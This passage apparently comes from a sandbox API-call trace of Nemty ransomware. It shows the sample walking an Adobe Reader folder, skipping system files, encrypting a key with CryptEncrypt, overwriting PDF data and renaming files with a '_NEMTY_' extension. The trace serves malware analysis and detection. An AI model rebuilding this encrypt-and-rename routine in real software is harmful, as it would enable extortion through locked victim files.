hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.758] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ba0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2=".") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="..") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="...") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="windows") returned -1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="$RECYCLE.BIN") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="rsa") returned -1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="NTDETECT.COM") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="ntldr") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="MSDOS.SYS") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="IO.SYS") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="boot.ini") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="boot.ini") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="AUTOEXEC.BAT") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="ntuser.dat") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="desktop.ini") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="CONFIG.SYS") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="RECYCLER") returned -1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="BOOTSECT.BAK") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="bootmgr") returned 1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="programdata") returned -1 [0186.759] lstrcmpiW (lpString1="PDFPrevHndlr.dll", lpString2="appdata") returned 1 [0186.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFPrevHndlr.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0186.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFPrevHndlr.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFPrevHndlr.dll", lpUsedDefaultChar=0x0) returned 16 [0186.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0186.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFPrevHndlr.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0186.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFPrevHndlr.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFPrevHndlr.dll", lpUsedDefaultChar=0x0) returned 16 [0186.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0186.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFPrevHndlr.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0186.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFPrevHndlr.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFPrevHndlr.dll", lpUsedDefaultChar=0x0) returned 16 [0186.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFPrevHndlr.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0186.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFPrevHndlr.dll", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFPrevHndlr.dll", lpUsedDefaultChar=0x0) returned 16 [0186.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0186.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.760] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2=".") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="..") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="...") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="windows") returned -1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="$RECYCLE.BIN") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="rsa") returned -1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="NTDETECT.COM") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="ntldr") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="MSDOS.SYS") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="IO.SYS") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="boot.ini") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="boot.ini") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="ntuser.dat") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="desktop.ini") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="CONFIG.SYS") returned 1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="RECYCLER") returned -1 [0186.760] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="BOOTSECT.BAK") returned 1 [0186.761] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="bootmgr") returned 1 [0186.761] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="programdata") returned -1 [0186.761] lstrcmpiW (lpString1="PDFSigQFormalRep.pdf", lpString2="appdata") returned 1 [0186.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0186.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFSigQFormalRep.pdf", lpUsedDefaultChar=0x0) returned 20 [0186.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0186.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0186.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFSigQFormalRep.pdf", lpUsedDefaultChar=0x0) returned 20 [0186.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0186.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0186.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFSigQFormalRep.pdf", lpUsedDefaultChar=0x0) returned 20 [0186.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0186.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFSigQFormalRep.pdf", lpUsedDefaultChar=0x0) returned 20 [0186.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.767] Sleep (dwMilliseconds=0x5) [0186.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x22f97390, dwHighDateTime=0x1d561e8)) [0186.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x22f97390, dwHighDateTime=0x1d561e8)) [0186.777] GetLastError () returned 0x12 [0186.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.777] GetLastError () returned 0x12 [0186.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0186.777] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0186.777] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0186.777] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0186.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0186.777] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ec5c | out: pszString="Q6rvFgpvH/mg+pqYpCQPNc4v71mScazVWEybhDjn6jIUTJvUGMryh1fPkZHMsquM\r\n1iUTLrAqoWxDbrsOfNF9OOLQg2dp2IbIRYyZYV/cC00nab3c/0TwghL/fh9mF2ak\r\nOtBS+yN1v50O7jPyFm6OTER1C9TA05Gc0m0Lg26SwIJLKcByGjWFYkI5f2ZuL9gU\r\n1eSLe9Fa8tfHu8GsyNaCc9Ee9suRaxWXJ9m8ecYsd4pixwTgNYbZ48q4a6PuqAyX\r\nm+MKkfVLNoC3mUJ/F2TX4L/uB45ZKqLTDdGvsCM4yULkdB3AecWGfodRbG6Ct0Au\r\nZF1/Dl9JyacZT4zemh77cg==\r\n", pcchString=0x653ec5c) returned 1 [0186.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0186.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0186.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0186.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0186.778] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=468206) returned 1 [0186.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.779] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.779] ReadFile (in: hFile=0x1ec, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eea4*=0x19000, lpOverlapped=0x0) returned 1 [0186.788] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.788] WriteFile (in: hFile=0x1ec, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653ee9c*=0x19000, lpOverlapped=0x0) returned 1 [0186.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.789] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=468206, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x724ee [0186.789] WriteFile (in: hFile=0x1ec, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0186.790] CloseHandle (hObject=0x1ec) returned 1 [0186.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0186.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0186.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0186.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0186.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0186.790] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf._nemty_kgobjgd_")) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.791] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18dd88, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2=".") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="..") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="...") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="windows") returned -1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="$RECYCLE.BIN") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="rsa") returned -1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="NTDETECT.COM") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="ntldr") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="MSDOS.SYS") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="IO.SYS") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="boot.ini") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="boot.ini") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="AUTOEXEC.BAT") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="ntuser.dat") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="desktop.ini") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="CONFIG.SYS") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="RECYCLER") returned -1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="BOOTSECT.BAK") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="bootmgr") returned 1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="programdata") returned -1 [0186.792] lstrcmpiW (lpString1="pe.dll", lpString2="appdata") returned 1 [0186.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pe.dll", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0186.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pe.dll", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pe.dll", lpUsedDefaultChar=0x0) returned 6 [0186.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pe.dll", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0186.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pe.dll", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pe.dll", lpUsedDefaultChar=0x0) returned 6 [0186.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pe.dll", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0186.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pe.dll", cchWideChar=6, lpMultiByteStr=0x653ef60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pe.dll", lpUsedDefaultChar=0x0) returned 6 [0186.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pe.dll", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0186.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pe.dll", cchWideChar=6, lpMultiByteStr=0x653ef98, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pe.dll", lpUsedDefaultChar=0x0) returned 6 [0186.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0186.793] HeapFree (in: hHeap=0x4f90000, 